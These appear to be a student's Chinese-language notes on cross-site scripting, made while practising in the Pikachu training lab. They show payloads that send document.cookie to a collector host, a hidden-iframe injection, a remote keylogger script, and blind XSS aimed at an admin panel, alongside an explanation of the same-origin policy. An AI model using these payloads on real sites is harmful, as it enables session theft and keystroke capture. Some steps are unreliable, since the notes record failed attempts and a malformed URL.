一、xss平台搭建
1、網絡平台,注冊登錄,直接使用
2、用pikachu自帶平台(沒有網上的好用)
二、xss危害詳解
http://192.168.14.48:78/pikachu/vul/xss/xss_reflected_get.php(復制這個路徑,打開我們要用到的工具)
1、①:劫持用戶cookie(盜取別人cookie)頁面跳轉到首頁,你就不知道cookie被盜取,也不知道中xss--get方式
1、cookie,在儲存型里面復制'"><script>document.location = 'http://192.168.124.123:78/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>,老師這里跳轉到首頁,但是我這里的不僅跳轉不到首頁,還報錯,如圖所示,然后跳轉到圖2所示界面
是不是要在虛擬機的cookie中改寫什么代碼
打開這個界面就可以看到我們剛才做的(盜取別人cookie)頁面跳轉到首頁,你就不知道cookie被盜取,也不知道中xss
②:劫持cookie(post方式)
2.xss釣魚攻擊
在下面文本框中輸入admin 123456
看釣魚界面(我這里出現錯誤了,待請教,釣魚界面沒有信息)
3.掛馬
掛馬有很多種,大家可以上網查查,我們這里就用一個簡單的,掛一個網站,比如百度
用框架掛馬的方式:
111'"><iframe src=https://www.baidu.com width=500 height=500></iframe>,這里將寬高都設為0的話,就感覺不到,每次都是偷偷摸摸的執行,
那咱們全部變為0看一下效果
4.鍵盤記錄
涉及到跨域問題
(1)什么是跨域
http:// www. oldboyedu.com :80 / news/index.php
協議 子域名 主域名 端口 資源地址
跨域必需要滿足的條件:協議、主域名、端口都需要相同,叫做同域
以下這兩個協議不相同,所以不是同域
https:// www. oldboyedu.com :80
http:// www. oldboyedu.com :80
以下這兩個子域名不相同,所以不是同域
http:// vip oldboyedu.com :80
http:// www. oldboyedu.com :80
以下這兩個子端口不相同,所以不是同域
http:// www. oldboyedu.com :80
http:// www. oldboyedu.com :82
當協議、主機(主域名,子域名)、端口中的任意一個不相同時,稱為不同域。我們把不同的域之間請求數據的操作,成為跨域操作。
(2)什么是同源策略(也就是不允許JS文件跨域操作,禁止A網站操作B網站的數據資源)
為了安全考慮,所有瀏覽器都約定了“同源策略”,同源策略禁止頁面加載或執行與自身來源不同的域的任何腳本既不同域之間不能使用JS進行操作。比如:x.com域名下的js不能操作y.com域名下的對象
也就是淘寶不能操作京東下面域名的對象,不然就亂套了
那么為什么要有同源策略? 比如一個惡意網站的頁面通過js嵌入了銀行的登錄頁面(二者不同源),如果沒有同源限制,惡意網頁上的javascript腳本就可以在用戶登錄銀行的時候獲取用戶名和密碼。
但是也有一些標簽之類的不受同源策略限制
Tips:下面這些標簽跨域加載資源(資源類型是有限止的)是不受同源策略限制的
<script src="..."> //加載本地js執行
<img src="..."> //圖片
<link href="..."> //css
<iframe src="..."> //任意資源
(3)、同源策略修改
C:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php
同之前的案例到后台設置好Access-Control-Allow-Origin,設置為*,既允許所有人訪問。(但是這個設置一般是不允許的,在這里是為了做鍵盤記錄)
那么現在我們開始做鍵盤記錄
輸入設置好的惡意JS代碼:
<script src="http://192.168.17.132:777/pikachu/pkxss/rkeypress/rk.js"></script>然后在鍵盤上隨意輸入,就可以到xss平台上去查看鍵盤輸入的結果
這樣當別人點擊這個頁面就可以執行這個文件,這段代碼是開啟鍵盤記錄的意思
如果記錄不到的話就切換一下php版本
5.XSS盲打(也就是不知道某個地方有xss漏洞)
XSS盲打就是攻擊者在前端提交的數據不知道后台是否存在xss漏洞的情況下,提交惡意JS代碼在類似留言板等輸入框后,所展現的后台位置的情況下,網站采用了攻擊者插入的惡意代碼,當后台管理員在操作時就會觸發插入的惡意代碼,從而達到攻擊者的目的。
管理員后台: http://http://192.168.0.101/pikachu/vul/xss/xssblind/admin_login.php
輸入網址跳轉到登錄頁面
但是此時我也不知道到底有沒有xss,因為前端頁面不顯示,我就只能把我的代碼提交過去,但是當管理員登陸進來刷新頁面的時候,就出現彈框,也可以看到列表里面出現記錄
還有一種情況,直接獲取cookie
當管理員登錄他的后台的時候就會觸發以下頁面
攻擊者會立馬收到短信(也就是誰看留言誰中招)